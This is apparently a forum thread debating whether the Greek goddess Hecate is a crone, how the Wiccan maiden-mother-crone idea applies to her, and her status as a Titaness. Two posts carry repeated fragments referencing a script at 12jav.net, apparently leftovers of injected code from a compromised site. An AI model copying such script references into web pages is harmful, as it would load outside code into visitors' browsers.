Hecate is most definitly a crone goddess. People see the word crone and immediately think old, ugly woman. This is not a factual repreentation, rather a demonstration of the limits of language.
I am inclined to believe the idea of a triple goddess is a Wiccan invention. A lot of Wiccans believe there is only one goddess who manifests herself in different ways; maiden, mother, and crone.
Hecate is not a crone. Hecate is her own goddess, she is Hecate. Goddess of magick, crossroads (choices), and has a hand in the knowledge of death.
In the belief of a triple goddess, if we had to assign a title to Hecate (maien, mother, or crone) she would get the crone title due to her association with magick, wisdom, and death.
But if we abandon the titles and us worship goddesses as separate deities, as the ancient Greeks did, the problem is erradicated.
Not to mention, when it comes to deities it i very sujective, our own perception, limitations, and expectations get in the way. My image of Hecate will not be the same as your image of her.
Yes I know who she is, and I mean she's literally a maiden...Wiccans make her into a crone. I'm talking about a crone being a old woman with experience. She was depicted as a maiden. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
I just don't understand why people call her a crone, it makes no sense, they apparently need to read and learn again sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
As Hadit mentioned before, her attributes are very similar to the attributes of the Wiccan concept of the crone. I also think it's partly because witches were traditionally precieved as either stunningly beautiful or ugly and old. In fact, if you look witch up in a dictionary one of the definitions is "an ugly or unpleasant old woman." It's only a small jump in logic to assume therefore that as the goddess of magic, she shares characteristics with the practitioners of magic. (Obviously, that's not actually the case but it might explain the confusion).
She was/is a titaness technically, however she is not of the same character of those who are locked up in Tartarus, she never fought againt Zeus and the olympians.
Later on she became a little more sinister, for lack of a better word.
I do class the titan a gods and goddesses in their own right, titan is just a label for a spiritual being. Either way, she was not one of the titans who have been labelled as 'evil'.
I was trying to look for a source other than wikipedia, this is the best I could come up with-